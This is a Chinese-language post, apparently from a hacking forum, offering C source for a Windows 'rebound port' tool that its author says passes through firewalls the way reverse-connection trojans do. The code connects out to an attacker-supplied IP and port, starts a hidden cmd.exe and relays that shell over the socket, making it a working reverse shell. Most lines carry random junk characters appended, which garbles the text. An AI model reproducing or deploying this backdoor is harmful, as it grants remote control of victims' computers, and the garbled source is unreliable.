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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 b<o Uy  
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/* ============================== -S5M>W.Qb{  
Rebound port in Windows NT vX|ZPn#  
By wind,2006/7 # ~SuL3  
===============================*/ R?@F%J;tx  
#include |_ZD[v S  
#include J`}5bnFP  
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#pragma comment(lib,"wsock32.lib") rV.04m,  
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void OutputShell(); ~"F83+RDe  
SOCKET sClient; !pY=\vK;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; cz<8Kb/XV  
NfqJ>[}I+  
void main(int argc,char **argv) GjlA\R^e  
{ P[{qp8(g  
WSADATA stWsaData; }? j>V  
int nRet; aN9#ATE  
SOCKADDR_IN stSaiClient,stSaiServer; )f(.{M  
wG6@. ;3  
if(argc != 3) ]4f;%pE  
{ <j"}EEb^  
printf("Useage:\n\rRebound DestIP DestPort\n"); *c'nPa$+|S  
return; r_/=iYYJ  
} pGEYke NU  
&E|2-)  
WSAStartup(MAKEWORD(2,2),&stWsaData); *{/ ww9fT  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8`Wj 1 ,q  
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stSaiClient.sin_family = AF_INET; oL?(; `"&  
stSaiClient.sin_port = htons(0); `tZu~ n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =*EIe z*.x  
*xm(K +j  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *=UxX ] 0y  
{ c"qaULY  
printf("Bind Socket Failed!\n"); E+wd9/;  
return; f4.k%|]  
} 0].x8{~o  
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stSaiServer.sin_family = AF_INET; sjh>i>t  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P(OgT/7A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &6!~Q,;K-  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |X&.+RI  
{ hT:+x3  
printf("Connect Error!"); o!.\+[  
return; Wr3j8"f/  
} x:'M\c7  
OutputShell(); ~3k& =3d]  
} ke.{wh\0  
VrL==aTYXs  
void OutputShell() V=yRE  
{ gp07I{0~m  
char szBuff[1024]; v @zpF)|  
SECURITY_ATTRIBUTES stSecurityAttributes; :|hFpLt  
OSVERSIONINFO stOsversionInfo; +B^(,qKMN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x1:#rb'  
STARTUPINFO stStartupInfo; @oC# k<  
char *szShell; }6/L5j:+  
PROCESS_INFORMATION stProcessInformation; {v&c5B~,\  
unsigned long lBytesRead; #hinb[fQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5f+ziiZ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =%u\x=u|  
stSecurityAttributes.lpSecurityDescriptor = 0; Q y(Gy'q~  
stSecurityAttributes.bInheritHandle = TRUE; sj;8[Xy's  
OO%< ~H  
Hx;ij?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gucd]VH  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); VAkZ@ u3'~  
u`E24~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YTBZklM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BcJ]bIbKb  
stStartupInfo.wShowWindow = SW_HIDE; Cj).  
stStartupInfo.hStdInput = hReadPipe; cd8ZZ 8L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [hy:BV6H+  
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GetVersionEx(&stOsversionInfo); ;zy[xg.7  
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switch(stOsversionInfo.dwPlatformId) J?/.|Y]e  
{ O6rrv,+_L  
case 1: >dH5n$Gb  
szShell = "command.com"; {"<6'2T3  
break; ml7nt 0{  
default: yX:A?U  
szShell = "cmd.exe"; .Z=4,m>  
break; cY/!z  
} jO'+r'2B9  
.<`W2*1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x+~IXi>Ig  
|12Cg>;j*n  
send(sClient,szMsg,77,0); g@WGd(o0)  
while(1) a`}b'X:  
{ >FtW~J"X  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C N9lK29F)  
if(lBytesRead) m9*Lo[EXO  
{ - w41Bvz0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o`^GUY}  
send(sClient,szBuff,lBytesRead,0); RG(m:N  
} s3m]rC  
else ?h`Ned0P  
{ ]7WBoC8  
lBytesRead=recv(sClient,szBuff,1024,0); ?3 :OPP`s  
if(lBytesRead<=0) break; e@k`C{{C]o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); F|._'i+B!  
} gcImk0NIY  
} (W~jr-O^  
W#cr9"'Ta  
return; `Pj7O/!)#!  
}
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